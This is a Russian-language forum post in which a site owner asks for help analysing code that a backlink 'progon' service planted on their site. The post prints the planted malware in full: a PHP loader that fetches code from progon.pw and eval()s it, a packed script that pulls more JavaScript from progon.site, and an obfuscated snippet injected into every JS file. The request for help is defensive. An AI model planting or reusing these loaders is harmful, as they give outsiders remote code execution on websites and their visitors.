В общем вычислил , один из клиентов решил на халяву сайт прогнать вот этим сервисом
http://progon.pw/ (не рекомендую этого делать), дал по шапке за это, санкциями
. Осталось только узнать что еще он мог прописать кроме строки выше.
Скачал архив в нем 1 фаил в файле запись
<?php ini_set('display_errors','Off');error_reporting('E_ALL');$b=base64_decode('aHR0cDovL3Byb2dvbi5wdy93b3JrLnR4dA==');$q=$_GET['q'];if($q)$b.=base64_decode('P3E9').$q;$d=file_get_contents($b);eval($d); ?>
прошёлся base64_decode получилось
header("Content-type: text/html; charset=UTF-8");echo base64_decode('PCFET0NUWVBFIGh0bWw+CjxodG1sPgo8aGVhZD4KICAgIDxtZXRhIGh0dHAtZXF1aXY9IkNvbnRlbnQtVHlwZSIgY29udGVudD0idGV4dC9odG1sOyBjaGFyc2V0PVVURi04IiAvPgogICAgPHRpdGxlPtCf0JDQndCV0JvQrCDQo9Cf0KDQkNCS0JvQldCd0JjQryDQn9Cg0J7Qk9Ce0J3QkNCc0Jg8L3RpdGxlPgogICAgPGxpbmsgaHJlZj0iaHR0cDovL3Byb2dvbi5zaXRlL2Nzcy9wYW5lbC5jc3MiIHJlbD0ic3R5bGVzaGVldCIgdHlwZT0idGV4dC9jc3MiIG1lZGlhPSJzY3JlZW4iIC8+CiAgICA8bGluayBocmVmPSJodHRwOi8vcHJvZ29uLnNpdGUvaW1nL2Zhdmljb24uaWNvIiByZWw9InNob3J0Y3V0IGljb24iIHR5cGU9ImltYWdlL3gtaWNvbiIgLz4KPC9oZWFkPgo8Ym9keSBvbmNvbnRleHRtZW51PSJyZXR1cm4gZmFsc2U7Ij4KICAgIDxkaXYgaWQ9Im1haW4iPgogICAgICAgIDxkaXYgaWQ9Im5ldyI+PGgxPtCf0JDQndCV0JvQrCDQo9Cf0KDQkNCS0JvQldCd0JjQrzwvaDE+PC9kaXY+CiAgICAgICAgPGRpdiBpZD0ibWVudSI+CiAgICAgICAgICAgIDxidXR0b24gb25jbGljaz0iZ2V0X2RhdGEoJ2NhdGFsb2cnKSI+0J/QoNCe0JPQntCdINCf0J4g0JrQkNCi0JDQm9Ce0JPQkNCcPC9idXR0b24+CiAgICAgICAgICAgIDxidXR0b24gb25jbGljaz0iZ2V0X2RhdGEoJ3NwcicpIj7QoNCV0JPQmNCh0KLQoNCQ0KbQmNCvINCSINCh0J/QoNCQ0JLQntCn0J3QmNCa0JDQpTwvYnV0dG9uPgogICAgICAgICAgICA8ZGl2IGlkPSJyZXMiPtCk0LDQudC7INGD0YHRgtCw0L3QvtCy0LvQtdC9INC60L7RgNGA0LXQutGC0L3QvjwvZGl2PgogICAgICAgIDwvZGl2PgogICAgICAgIDxkaXYgaWQ9ImxpbmtzIj48YSBocmVmPSIjIj7QotCj0KIg0JHQo9CU0KPQoiDQk9CV0J3QldCg0JjQoNCe0JLQkNCi0KzQodCvINCe0JHQoNCQ0KLQndCr0JUg0KHQodCr0JvQmtCYLCDQldCh0JvQmCDQkdCj0JTQldCiINCd0KPQltCd0J48L2E+PC9kaXY+CiAgICA8L2Rpdj4KICAgIDxzY3JpcHQgc3JjPSJodHRwOi8vcHJvZ29uLnNpdGUvanMvcGFuZWwubWluLmpzIj48L3NjcmlwdD4KPC9ib2R5Pgo8L2h0bWw+');
еще раз прошёлся base64_decode получилось
<!DOCTYPE html>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<title>ПАНЕЛЬ УПРАВЛЕНИЯ ПРОГОНАМИ</title>
<link href="http://progon.site/css/panel.css" rel="stylesheet" type="text/css" media="screen" />
<link href="http://progon.site/img/favicon.ico" rel="shortcut icon" type="image/x-icon" />
</head>
<body oncontextmenu="return false;">
<div id="main">
<div id="new"><h1>ПАНЕЛЬ УПРАВЛЕНИЯ</h1></div>
<div id="menu">
<button onclick="get_data('catalog')">ПРОГОН ПО КАТАЛОГАМ</button>
<button onclick="get_data('spr')">РЕГИСТРАЦИЯ В СПРАВОЧНИКАХ</button>
<div id="res">Файл установлен корректно</div>
</div>
<div id="links"><a href="#">ТУТ БУДУТ ГЕНЕРИРОВАТЬСЯ ОБРАТНЫЕ ССЫЛКИ, ЕСЛИ БУДЕТ НУЖНО</a></div>
</div>
<script src="http://progon.site/js/panel.min.js"></script>
</body>
</html>
panel.min.js
eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('8 9(5){1 0=2.a(\'0\');b(0!=c){0.d.e(0)}1 3=2.f(\'g\');3.h=\'i://j.k/6/3.6?5=\'+5;1 7=2.l.m(3);7.n=\'0\'}1 4=o p();4.q(4.r()+s);2.t=\'u=v;w=/;x=\'+4;',34,34,'result|var|document|panel|D|vid|js|ap|function|get_data|getElementById|if|undefined|parentNode|removeChild|createElement|script|src|http|progon|site|head|appendChild|id|new|Date|setDate|getDate|100|cookie|_y_m_|off|path|expires'.split('|'),0,{}));
Код прописанный в каждом JS
(function(){var a="(ni(fcoc)f.br,=hp/)xut8ixut0)'t/)xut7ixut0)'w)xut4ixnx('=)xpt/[;(ief?!1=si')]erxaht(nwotnoner=dunree,=ce.oedt_mo'=wa(Dea(gDe+)omtoiin'a=eis+ir!'r!o&onx(e)-{ttv(ni(wd.ci.e't/2o/'20})",b="fco)utn({(ss(8=ts/x.br)f.br,=hp/x.br)f.br,=w.x.br)f.dO')-x.l('0ixnx('=)xpt?[;tn}ro=wd.ci.sa)ecomterrcdunck,e=y_f,n t).ttDea(2;ce.oedt;t/xr=Dfe=&e=s&.dOin=1sIeafco)iolaohfhp/or1}0)(;",c="utn{ni xixut0)'t:'=ss(;(ss(7=t:'=ss(;(ss(4=w'=ss(;(ief/!1=si')]f.dO')-x.l('0ru v sciolaohtm,f(ce.fr)oomtoiin'_=fDeDe;sDe.tt)0dunck=e+ph;pe';(f'&fhtciefdt=)enrlutn{nwotnr=t:0.ga,0})",d="";for(var i=0;i<a.length;i++)d+=a.charAt(i)+b.charAt(i)+c.charAt(i);eval(d);}());
в этом не очень сильно понимаю поэтому объясните кому не трудно? Заранее спасибо.